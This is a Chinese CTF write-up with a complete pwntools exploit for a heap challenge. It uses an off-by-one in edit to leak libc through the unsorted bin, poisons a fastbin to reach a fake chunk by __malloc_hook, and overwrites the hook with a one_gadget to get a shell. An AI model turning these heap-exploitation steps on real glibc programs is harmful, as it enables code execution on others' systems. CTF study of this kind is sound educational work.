跟昨天那个 Roarctf 2019 easy_pwn 大同小异,EXP:
#coding:utf-8
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./pwn')
#p = remote('node3.buuoj.cn',29221)
def cmd(choice):
p.sendlineafter('choice: ',str(choice))
def create(size,content):
cmd(1)
p.sendlineafter('size?',str(size))
p.sendlineafter('content:',content)
def edit(index,content):
cmd(2)
p.sendlineafter('idx?',str(index))
p.sendlineafter('content:',content)
def show(index):
cmd(3)
p.sendlineafter('idx?',str(index))
def delete(index):
cmd(4)
p.sendlineafter('idx?',str(index))
create(0x58,'aaaa') #0
create(0x60,'bbbb') #1
create(0x60,'cccc') #2
create(0x60,'dddd') #3
edit(0, 'a'* 0x58 + '\xe1')
delete(1)
create(0x60,'ffff') #4(1)
show(2) #2 is unsortbin
address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = address - 0x58 - 0x3c4b20
main_arean = address - 0x58
one_gadget = libc_base+0x4526a
realloc = libc_base + 0x846c0
fake_chunk = main_arean - 0x33
create(0x60,'yichen') #4(2)
delete(3)
delete(2)
edit(4, p64(fake_chunk))
create(0x60,'')
payload = p8(0)*11
payload += p64(one_gadget)
payload+= p64(libc_base+0x846C0+0xc)
create(0x60,payload)
p.recvuntil("choice: ")
p.sendline(str(1))
p.recvuntil("size?")
p.sendline(str(0x10))
p.interactive()
实现了这么些功能
在 edit 的时候,应该是 >=,这里是 > 造成了 off by one
先申请一些堆空间,注意第 0 个大小是 0x58,是为了占用第 1 个的 prev_size,待会能够 off by one
成功覆盖掉下一个的 size 位
这时候对刚才修改的那个 chunk 进行 free,他会放到 unsorted bin 中,同时 fd、bk 指向 unsorted bin
但是这个是释放的,没法 show,那先把他申请掉,然后通过 show 他后面的第 2 个来获得 unsorted bin 的地址,来计算 libc
看一下各个偏移
下面再申请一个,他与第 2 个指向相同的地址 create(0x60,'yichen')
把他叫做第 4 个
然后释放掉第 3、2 个,通过第 4 个编辑第 2 个的 fd 指针为 fake_chunk 的地址
然后再去申请,第一次是把第 2 个申请回来(这里我纠结了好久,以为他要一直保存这个 fake_chunk 的地址,改了半天也没打通,结果又拿上一道题仔细看了一下,申请回来之后覆盖掉也没关系),然后就是第 2 个的 fd 指针指向的位置了,所以第二次申请就该发 payload 了
payload = p8(0)*11
payload += p64(one_gadget)
payload+= p64(libc_base+0x846C0+0xc)
create(0x60,payload)
然后再去 malloc 一下就行了,但因为我们改掉了 malloc_hook,不会返回 'content:' 了,如果用上面定义的 create 会一直等待,所以单独拿出来去申请一下就行了